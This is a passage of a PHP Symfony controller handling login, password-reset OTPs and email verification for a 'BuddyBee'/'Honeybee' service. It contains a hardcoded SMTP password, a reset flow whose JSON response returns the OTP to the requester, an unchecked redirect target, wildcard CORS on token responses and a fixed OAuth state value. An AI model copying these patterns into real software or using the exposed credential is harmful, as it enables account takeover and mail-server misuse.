  7767.                         }
  7768.                     }
  7769.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7770.                     $session_data['userAccessList'] = $accessList;
  7771.                     $session->set('userAccessList'json_encode($accessList));
  7772.                     $session_data $this->filterClientSessionData($session_data);
  7773.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7774.                     $session_data $tokenData['sessionData'];
  7775.                     $token $tokenData['token'];
  7776.                     $session->set('token'$token);
  7777.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7778.                         $session->set('remoteVerified'1);
  7779.                         $response = new JsonResponse(array(
  7780.                             'token' => $token,
  7781.                             'uid' => $session->get(UserConstants::USER_ID),
  7782.                             'session' => $session,
  7783.                             'success' => true,
  7784.                             'session_data' => $session_data,
  7785.                         ));
  7786.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7787.                         return $response;
  7788.                     }
  7789.                     if ($request->request->has('referer_path')) {
  7790.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7791.                             return $this->redirect($request->request->get('referer_path'));
  7792.                         }
  7793.                     }
  7794.                     $redirectRoute 'applicant_dashboard';
  7795.                     if ($request->query->has('encData')) {
  7796.                         if ($request->query->get('encData') == '8917922')
  7797.                             $redirectRoute 'apply_for_consultant';
  7798.                     }
  7799.                     return $this->redirectToRoute($redirectRoute);
  7800.                 }
  7801. //                    $response = new JsonResponse(array(
  7802. //                        'token' => $token,
  7803. //                        'uid' => $session->get(UserConstants::USER_ID),
  7804. //                        'session' => $session,
  7805. //
  7806. //                        'success' => true,
  7807. //                        'session_data' => $session_data,
  7808. //
  7809. //                    ));
  7810. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7811. //                    return $response;
  7812. //                    return $this->redirectToRoute("user_login", [
  7813. //                        'id' => $isApplicantExist->getApplicantId(),
  7814. //                        'oAuthData' => $oAuthData,
  7815. //                        'encData' => $encData,
  7816. //                        'locale' => $request->request->get('locale', 'en'),
  7817. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7818. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7819. //                    ]);
  7820.             }
  7821.         }
  7822.         $selector BuddybeeConstant::$selector;
  7823.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7824.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7825.         if ($systemType == '_ERP_') {
  7826.         } else if ($systemType == '_SOPHIA_') {
  7827.             return $this->render(
  7828.                 '@Sophia/pages/views/sofia_login.html.twig',
  7829.                 [
  7830.                     'page_title' => 'Sophia Login',
  7831.                     'oAuthLink' => $google_client->createAuthUrl(),
  7832.                     'redirect_url' => $url,
  7833.                     'message' => $message,
  7834.                     'systemType' => $systemType,
  7835.                     'ownServerId' => $ownServerId,
  7836.                     'errorField' => '',
  7837.                     'encData' => $encData,
  7838.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7839.                     'selector' => $selector,
  7840.                 ]
  7841.             );
  7842.         } else if ($systemType == '_CENTRAL_') {
  7843.             return $this->render(
  7844.                 '@Authentication/pages/views/central_login.html.twig',
  7845.                 [
  7846.                     'page_title' => 'Central Login',
  7847.                     'oAuthLink' => $google_client->createAuthUrl(),
  7848.                     'redirect_url' => $url,
  7849.                     'message' => $message,
  7850.                     'systemType' => $systemType,
  7851.                     'ownServerId' => $ownServerId,
  7852.                     'errorField' => '',
  7853.                     'encData' => $encData,
  7854.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7855.                     'selector' => $selector,
  7856.                 ]
  7857.             );
  7858.         } else if ($systemType == '_BUDDYBEE_') {
  7859.             return $this->render(
  7860.                 '@Authentication/pages/views/applicant_login.html.twig',
  7861.                 [
  7862.                     'page_title' => 'BuddyBee Login',
  7863.                     'oAuthLink' => $google_client->createAuthUrl(),
  7864.                     'redirect_url' => $url,
  7865.                     'message' => $message,
  7866.                     'errorField' => $errorField,
  7867.                     'encData' => $encData,
  7868.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7869.                     'selector' => $selector
  7870.                 ]
  7871.             );
  7872.         }
  7873.         return $this->render(
  7874.             '@Authentication/pages/views/applicant_login.html.twig',
  7875.             [
  7876.                 'page_title' => 'Applicant Registration',
  7877.                 'oAuthLink' => $google_client->createAuthUrl(),
  7878.                 'redirect_url' => $url,
  7879.                 'encData' => $encData,
  7880.                 'message' => $message,
  7881.                 'errorField' => $errorField,
  7882.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7883.                 'selector' => $selector
  7884.             ]
  7885.         );
  7886.     }
  7887.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7888.     {
  7889. //        $userCategory=$request->request->has('userCategory');
  7890.         $encryptedData = [];
  7891.         $errorField '';
  7892.         $message '';
  7893.         $userType '';
  7894.         $otpExpireSecond 180;
  7895.         $otpExpireTs 0;
  7896.         $otp '';
  7897.         if ($encData != '')
  7898.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7899. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7900.         $userCategory '_BUDDYBEE_USER_';
  7901.         if (isset($encryptedData['userCategory']))
  7902.             $userCategory $encryptedData['userCategory'];
  7903.         else
  7904.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7905.         $em $this->getDoctrine()->getManager('company_group');
  7906.         $em_goc $this->getDoctrine()->getManager('company_group');
  7907.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7908.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7909.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7910.         $twigData = [];
  7911.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7912.         $email_address $request->request->get('email''');
  7913.         $email_twig_data = [];
  7914.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7915.         if ($request->isMethod('POST')) {
  7916.             //set an otp and its expire and send mail
  7917.             $email_address $request->request->get('email');
  7918.             $userObj null;
  7919.             $userData = [];
  7920.             if ($systemType == '_ERP_') {
  7921.                 if ($userCategory == '_APPLICANT_') {
  7922.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7923.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7924.                         array(
  7925.                             'email' => $email_address
  7926.                         )
  7927.                     );
  7928.                     if ($userObj) {
  7929.                     } else {
  7930.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7931.                             array(
  7932.                                 'oAuthEmail' => $email_address
  7933.                             )
  7934.                         );
  7935.                         if ($userObj) {
  7936.                         } else {
  7937.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7938.                                 array(
  7939.                                     'username' => $email_address
  7940.                                 )
  7941.                             );
  7942.                         }
  7943.                     }
  7944.                     if ($userObj) {
  7945.                         $email_address $userObj->getEmail();
  7946.                         if ($email_address == null || $email_address == '')
  7947.                             $email_address $userObj->getOAuthEmail();
  7948.                     }
  7949. //                    triggerResetPassword:
  7950. //                    type: integer
  7951. //                          nullable: true
  7952.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7953.                     $otp $otpData['otp'];
  7954.                     $otpExpireTs $otpData['expireTs'];
  7955.                     $userObj->setOtp($otpData['otp']);
  7956.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7957.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7958.                     $em_goc->flush();
  7959.                     $userData = array(
  7960.                         'id' => $userObj->getApplicantId(),
  7961.                         'email' => $email_address,
  7962.                         'appId' => 0,
  7963. //                        'appId'=>$userObj->getUserAppId(),
  7964.                     );
  7965.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7966.                     $email_twig_data = [
  7967.                         'page_title' => 'Find Account',
  7968.                         'encryptedData' => $encryptedData,
  7969.                         'message' => $message,
  7970.                         'userType' => $userType,
  7971.                         'errorField' => $errorField,
  7972.                         'otp' => $otpData['otp'],
  7973.                         'otpExpireSecond' => $otpExpireSecond,
  7974.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7975.                         'otpExpireTs' => $otpData['expireTs'],
  7976.                         'systemType' => $systemType,
  7977.                         'userData' => $userData
  7978.                     ];
  7979.                     if ($userObj)
  7980.                         $email_twig_data['success'] = true;
  7981.                 } else {
  7982.                     $userType UserConstants::USER_TYPE_GENERAL;
  7983.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7984.                     $email_twig_data = [
  7985.                         'page_title' => 'Find Account',
  7986.                         'encryptedData' => $encryptedData,
  7987.                         'message' => $message,
  7988.                         'userType' => $userType,
  7989.                         'errorField' => $errorField,
  7990.                     ];
  7991.                 }
  7992.             } else if ($systemType == '_CENTRAL_') {
  7993.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7994.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7995.                     array(
  7996.                         'email' => $email_address
  7997.                     )
  7998.                 );
  7999.                 if ($userObj) {
  8000.                 } else {
  8001.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8002.                         array(
  8003.                             'oAuthEmail' => $email_address
  8004.                         )
  8005.                     );
  8006.                     if ($userObj) {
  8007.                     } else {
  8008.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8009.                             array(
  8010.                                 'username' => $email_address
  8011.                             )
  8012.                         );
  8013.                     }
  8014.                 }
  8015.                 if ($userObj) {
  8016.                     $email_address $userObj->getEmail();
  8017.                     if ($email_address == null || $email_address == '')
  8018.                         $email_address $userObj->getOAuthEmail();
  8019.                     //                    triggerResetPassword:
  8020. //                    type: integer
  8021. //                          nullable: true
  8022.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8023.                     $otp $otpData['otp'];
  8024.                     $otpExpireTs $otpData['expireTs'];
  8025.                     $userObj->setOtp($otpData['otp']);
  8026.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8027.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8028.                     $em_goc->flush();
  8029.                     $userData = array(
  8030.                         'id' => $userObj->getApplicantId(),
  8031.                         'email' => $email_address,
  8032.                         'appId' => 0,
  8033.                         'image' => $userObj->getImage(),
  8034.                         'firstName' => $userObj->getFirstname(),
  8035.                         'lastName' => $userObj->getLastname(),
  8036.                         'phone' => $userObj->getPhone(),
  8037. //                        'appId'=>$userObj->getUserAppId(),
  8038.                     );
  8039.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8040.                     $email_twig_data = [
  8041.                         'page_title' => 'Find Account',
  8042.                         'encryptedData' => $encryptedData,
  8043.                         'message' => $message,
  8044.                         'userType' => $userType,
  8045.                         'errorField' => $errorField,
  8046.                         'otp' => $otpData['otp'],
  8047.                         'otpExpireSecond' => $otpExpireSecond,
  8048.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8049.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8050.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8051.                         'otpExpireTs' => $otpData['expireTs'],
  8052.                         'systemType' => $systemType,
  8053.                         'userCategory' => $userCategory,
  8054.                         'userData' => $userData
  8055.                     ];
  8056.                     $email_twig_data['success'] = true;
  8057.                 } else {
  8058.                     $message "Oops! Could not find your account";
  8059.                     $email_twig_data['success'] = false;
  8060.                 }
  8061.             } else if ($systemType == '_BUDDYBEE_') {
  8062.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8063.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8064.                     array(
  8065.                         'email' => $email_address
  8066.                     )
  8067.                 );
  8068.                 if ($userObj) {
  8069.                 } else {
  8070.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8071.                         array(
  8072.                             'oAuthEmail' => $email_address
  8073.                         )
  8074.                     );
  8075.                     if ($userObj) {
  8076.                     } else {
  8077.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8078.                             array(
  8079.                                 'username' => $email_address
  8080.                             )
  8081.                         );
  8082.                     }
  8083.                 }
  8084.                 if ($userObj) {
  8085.                     $email_address $userObj->getEmail();
  8086.                     if ($email_address == null || $email_address == '')
  8087.                         $email_address $userObj->getOAuthEmail();
  8088.                     //                    triggerResetPassword:
  8089. //                    type: integer
  8090. //                          nullable: true
  8091.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8092.                     $otp $otpData['otp'];
  8093.                     $otpExpireTs $otpData['expireTs'];
  8094.                     $userObj->setOtp($otpData['otp']);
  8095.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8096.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8097.                     $em_goc->flush();
  8098.                     $userData = array(
  8099.                         'id' => $userObj->getApplicantId(),
  8100.                         'email' => $email_address,
  8101.                         'appId' => 0,
  8102.                         'image' => $userObj->getImage(),
  8103.                         'firstName' => $userObj->getFirstname(),
  8104.                         'lastName' => $userObj->getLastname(),
  8105.                         'phone' => $userObj->getPhone(),
  8106. //                        'appId'=>$userObj->getUserAppId(),
  8107.                     );
  8108.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8109.                     $email_twig_data = [
  8110.                         'page_title' => 'Find Account',
  8111.                         'encryptedData' => $encryptedData,
  8112.                         'message' => $message,
  8113.                         'userType' => $userType,
  8114.                         'errorField' => $errorField,
  8115.                         'otp' => $otpData['otp'],
  8116.                         'otpExpireSecond' => $otpExpireSecond,
  8117.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8118.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8119.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8120.                         'otpExpireTs' => $otpData['expireTs'],
  8121.                         'systemType' => $systemType,
  8122.                         'userCategory' => $userCategory,
  8123.                         'userData' => $userData
  8124.                     ];
  8125.                     $email_twig_data['success'] = true;
  8126.                 } else {
  8127.                     $message "Oops! Could not find your account";
  8128.                     $email_twig_data['success'] = false;
  8129.                 }
  8130.             }
  8131.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8132.                 if ($systemType == '_BUDDYBEE_') {
  8133.                     $bodyHtml '';
  8134.                     $bodyTemplate $email_twig_file;
  8135.                     $bodyData $email_twig_data;
  8136.                     $attachments = [];
  8137.                     $forwardToMailAddress $email_address;
  8138. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8139.                     $new_mail $this->get('mail_module');
  8140.                     $new_mail->sendMyMail(array(
  8141.                         'senderHash' => '_CUSTOM_',
  8142.                         //                        'senderHash'=>'_CUSTOM_',
  8143.                         'forwardToMailAddress' => $forwardToMailAddress,
  8144.                         'subject' => 'Account Verification',
  8145. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8146.                         'attachments' => $attachments,
  8147.                         'toAddress' => $forwardToMailAddress,
  8148.                         'fromAddress' => 'no-reply@buddybee.eu',
  8149.                         'userName' => 'no-reply@buddybee.eu',
  8150.                         'password' => 'Honeybee@0112',
  8151.                         'smtpServer' => 'smtp.hostinger.com',
  8152.                         'smtpPort' => 465,
  8153. //                            'emailBody' => $bodyHtml,
  8154.                         'mailTemplate' => $bodyTemplate,
  8155.                         'templateData' => $bodyData,
  8156. //                        'embedCompanyImage' => 1,
  8157. //                        'companyId' => $companyId,
  8158. //                        'companyImagePath' => $company_data->getImage()
  8159.                     ));
  8160.                 } else if ($systemType == '_CENTRAL_') {
  8161.                     $bodyHtml '';
  8162.                     $bodyTemplate $email_twig_file;
  8163.                     $bodyData $email_twig_data;
  8164.                     $attachments = [];
  8165.                     $forwardToMailAddress $email_address;
  8166. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8167.                     $new_mail $this->get('mail_module');
  8168.                     $new_mail->sendMyMail(array(
  8169.                         'senderHash' => '_CUSTOM_',
  8170.                         //                        'senderHash'=>'_CUSTOM_',
  8171.                         'forwardToMailAddress' => $forwardToMailAddress,
  8172.                         'subject' => 'Account Verification',
  8173. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8174.                         'attachments' => $attachments,
  8175.                         'toAddress' => $forwardToMailAddress,
  8176.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8177.                         'userName' => 'accounts@ourhoneybee.eu',
  8178.                         'password' => 'Honeybee@0112',
  8179.                         'smtpServer' => 'smtp.hostinger.com',
  8180.                         'smtpPort' => 465,
  8181. //                            'emailBody' => $bodyHtml,
  8182.                         'mailTemplate' => $bodyTemplate,
  8183.                         'templateData' => $bodyData,
  8184. //                        'embedCompanyImage' => 1,
  8185. //                        'companyId' => $companyId,
  8186. //                        'companyImagePath' => $company_data->getImage()
  8187.                     ));
  8188.                 } else {
  8189.                     $bodyHtml '';
  8190.                     $bodyTemplate $email_twig_file;
  8191.                     $bodyData $email_twig_data;
  8192.                     $attachments = [];
  8193.                     $forwardToMailAddress $email_address;
  8194. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8195.                     $new_mail $this->get('mail_module');
  8196.                     $new_mail->sendMyMail(array(
  8197.                         'senderHash' => '_CUSTOM_',
  8198.                         //                        'senderHash'=>'_CUSTOM_',
  8199.                         'forwardToMailAddress' => $forwardToMailAddress,
  8200.                         'subject' => 'Applicant Registration on Honeybee',
  8201. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8202.                         'attachments' => $attachments,
  8203.                         'toAddress' => $forwardToMailAddress,
  8204.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8205.                         'userName' => 'accounts@ourhoneybee.eu',
  8206.                         'password' => 'Honeybee@0112',
  8207.                         'smtpServer' => 'smtp.hostinger.com',
  8208.                         'smtpPort' => 465,
  8209.                         'emailBody' => $bodyHtml,
  8210.                         'mailTemplate' => $bodyTemplate,
  8211.                         'templateData' => $bodyData,
  8212. //                        'embedCompanyImage' => 1,
  8213. //                        'companyId' => $companyId,
  8214. //                        'companyImagePath' => $company_data->getImage()
  8215.                     ));
  8216.                 }
  8217.             }
  8218.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8219.                 if ($systemType == '_BUDDYBEE_') {
  8220.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8221.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8222.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8223.                      _APPEND_CODE_';
  8224.                     $msg str_replace($searchVal$replaceVal$msg);
  8225.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8226.                     $sendType 'all';
  8227.                     $socketUserIds = [];
  8228.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8229.                 } else {
  8230.                 }
  8231.             }
  8232.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8233.                 $response = new JsonResponse(array(
  8234.                         'templateData' => $twigData,
  8235.                         'message' => $message,
  8236. //                        "otp"=>'',
  8237.                         "otp" => $otp,
  8238.                         "otpExpireTs" => $otpExpireTs,
  8239.                         'actionData' => $email_twig_data,
  8240.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8241.                     )
  8242.                 );
  8243.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8244.                 return $response;
  8245.             } else if ($email_twig_data['success'] == true) {
  8246.                 $encData = array(
  8247.                     "userType" => $userType,
  8248.                     "otp" => '',
  8249. //                "otp"=>$otp,
  8250.                     "otpExpireTs" => $otpExpireTs,
  8251.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8252.                     "userCategory" => $userCategory,
  8253.                     "userId" => $userData['id'],
  8254.                     "systemType" => $systemType,
  8255.                     "email" => $email_address,
  8256.                 );
  8257.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8258.                 $url $this->generateUrl(
  8259.                     'verify_otp'
  8260.                 );
  8261.                 return $this->redirect($url "/" $encDataStr);
  8262. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8263. ////                    'encData'
  8264. ////                'id' => $isApplicantExist->getApplicantId(),
  8265. ////                'oAuthData' => $oAuthData,
  8266. ////                'refRoute' => $refRoute,
  8267. //                ]);
  8268.             }
  8269.         }
  8270.         if ($systemType == '_ERP_') {
  8271.             if ($userCategory == '_APPLICANT_') {
  8272.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8273.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8274.                 $twigData = [
  8275.                     'page_title' => 'Find Account',
  8276.                     'encryptedData' => $encryptedData,
  8277.                     'message' => $message,
  8278.                     'systemType' => $systemType,
  8279.                     'ownServerId' => $ownServerId,
  8280.                     'userType' => $userType,
  8281.                     'errorField' => $errorField,
  8282.                 ];
  8283.             } else {
  8284.                 $userType UserConstants::USER_TYPE_GENERAL;
  8285.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8286.                 $twigData = [
  8287.                     'page_title' => 'Find Account',
  8288.                     'encryptedData' => $encryptedData,
  8289.                     'systemType' => $systemType,
  8290.                     'ownServerId' => $ownServerId,
  8291.                     'message' => $message,
  8292.                     'userType' => $userType,
  8293.                     'errorField' => $errorField,
  8294.                 ];
  8295.             }
  8296.         } else if ($systemType == '_CENTRAL_') {
  8297.             $userType UserConstants::USER_TYPE_APPLICANT;
  8298.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8299.             $twigData = [
  8300.                 'page_title' => 'Find Account',
  8301.                 'encryptedData' => $encryptedData,
  8302.                 'systemType' => $systemType,
  8303.                 'ownServerId' => $ownServerId,
  8304.                 "otp" => '',
  8305. //                "otp"=>$otp,
  8306.                 "otpExpireTs" => $otpExpireTs,
  8307.                 'message' => $message,
  8308.                 'userType' => $userType,
  8309.                 'errorField' => $errorField,
  8310.             ];
  8311.         } else if ($systemType == '_BUDDYBEE_') {
  8312.             $userType UserConstants::USER_TYPE_APPLICANT;
  8313.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8314.             $twigData = [
  8315.                 'page_title' => 'Find Account',
  8316.                 'encryptedData' => $encryptedData,
  8317.                 "otp" => '',
  8318.                 'systemType' => $systemType,
  8319.                 'ownServerId' => $ownServerId,
  8320. //                "otp"=>$otp,
  8321.                 "otpExpireTs" => $otpExpireTs,
  8322.                 'message' => $message,
  8323.                 'userType' => $userType,
  8324.                 'errorField' => $errorField,
  8325.             ];
  8326.         }
  8327.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8328.             $response = new JsonResponse(array(
  8329.                     'templateData' => $twigData,
  8330.                     'message' => $message,
  8331.                     "otp" => '',
  8332. //                "otp"=>$otp,
  8333.                     "otpExpireTs" => $otpExpireTs,
  8334.                     'actionData' => $email_twig_data,
  8335.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8336.                 )
  8337.             );
  8338.             $response->headers->set('Access-Control-Allow-Origin''*');
  8339.             return $response;
  8340.         } else {
  8341.             return $this->render(
  8342.                 $twig_file,
  8343.                 $twigData
  8344.             );
  8345.         }
  8346.     }
  8347.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8348.     {
  8349. //        $userCategory=$request->request->has('userCategory');
  8350.         $encryptedData = [];
  8351.         $errorField '';
  8352.         $message '';
  8353.         $userType '';
  8354.         $otpExpireSecond 180;
  8355.         $otpExpireTs 0;
  8356.         $otp '';
  8357.         if ($encData != '')
  8358.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8359. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8360.         $userCategory '_BUDDYBEE_USER_';
  8361.         if (isset($encryptedData['userCategory']))
  8362.             $userCategory $encryptedData['userCategory'];
  8363.         else
  8364.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8365.         $em $this->getDoctrine()->getManager('company_group');
  8366.         $em_goc $this->getDoctrine()->getManager('company_group');
  8367.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8368.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8369.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8370.         $twigData = [];
  8371.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8372.         $email_address $request->request->get('email''');
  8373.         $email_twig_data = [];
  8374.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8375.         if ($request->isMethod('POST')) {
  8376.             //set an otp and its expire and send mail
  8377.             $email_address $request->request->get('email');
  8378.             $userObj null;
  8379.             $userData = [];
  8380.             if ($systemType == '_ERP_') {
  8381.                 if ($userCategory == '_APPLICANT_') {
  8382.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8383.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8384.                         array(
  8385.                             'email' => $email_address
  8386.                         )
  8387.                     );
  8388.                     if ($userObj) {
  8389.                     } else {
  8390.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8391.                             array(
  8392.                                 'oAuthEmail' => $email_address
  8393.                             )
  8394.                         );
  8395.                         if ($userObj) {
  8396.                         } else {
  8397.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8398.                                 array(
  8399.                                     'username' => $email_address
  8400.                                 )
  8401.                             );
  8402.                         }
  8403.                     }
  8404.                     if ($userObj) {
  8405.                         $email_address $userObj->getEmail();
  8406.                         if ($email_address == null || $email_address == '')
  8407.                             $email_address $userObj->getOAuthEmail();
  8408.                     }
  8409. //                    triggerResetPassword:
  8410. //                    type: integer
  8411. //                          nullable: true
  8412.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8413.                     $otp $otpData['otp'];
  8414.                     $otpExpireTs $otpData['expireTs'];
  8415.                     $userObj->setOtp($otpData['otp']);
  8416.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8417.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8418.                     $em_goc->flush();
  8419.                     $userData = array(
  8420.                         'id' => $userObj->getApplicantId(),
  8421.                         'email' => $email_address,
  8422.                         'appId' => 0,
  8423. //                        'appId'=>$userObj->getUserAppId(),
  8424.                     );
  8425.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8426.                     $email_twig_data = [
  8427.                         'page_title' => 'Find Account',
  8428.                         'encryptedData' => $encryptedData,
  8429.                         'message' => $message,
  8430.                         'userType' => $userType,
  8431.                         'errorField' => $errorField,
  8432.                         'otp' => $otpData['otp'],
  8433.                         'otpExpireSecond' => $otpExpireSecond,
  8434.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8435.                         'otpExpireTs' => $otpData['expireTs'],
  8436.                         'systemType' => $systemType,
  8437.                         'userData' => $userData
  8438.                     ];
  8439.                     if ($userObj)
  8440.                         $email_twig_data['success'] = true;
  8441.                 } else {
  8442.                     $userType UserConstants::USER_TYPE_GENERAL;
  8443.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8444.                     $email_twig_data = [
  8445.                         'page_title' => 'Find Account',
  8446.                         'encryptedData' => $encryptedData,
  8447.                         'message' => $message,
  8448.                         'userType' => $userType,
  8449.                         'errorField' => $errorField,
  8450.                     ];
  8451.                 }
  8452.             } else if ($systemType == '_CENTRAL_') {
  8453.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8454.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8455.                     array(
  8456.                         'email' => $email_address
  8457.                     )
  8458.                 );
  8459.                 if ($userObj) {
  8460.                 } else {
  8461.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8462.                         array(
  8463.                             'oAuthEmail' => $email_address
  8464.                         )
  8465.                     );
  8466.                     if ($userObj) {
  8467.                     } else {
  8468.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8469.                             array(
  8470.                                 'username' => $email_address
  8471.                             )
  8472.                         );
  8473.                     }
  8474.                 }
  8475.                 if ($userObj) {
  8476.                     $email_address $userObj->getEmail();
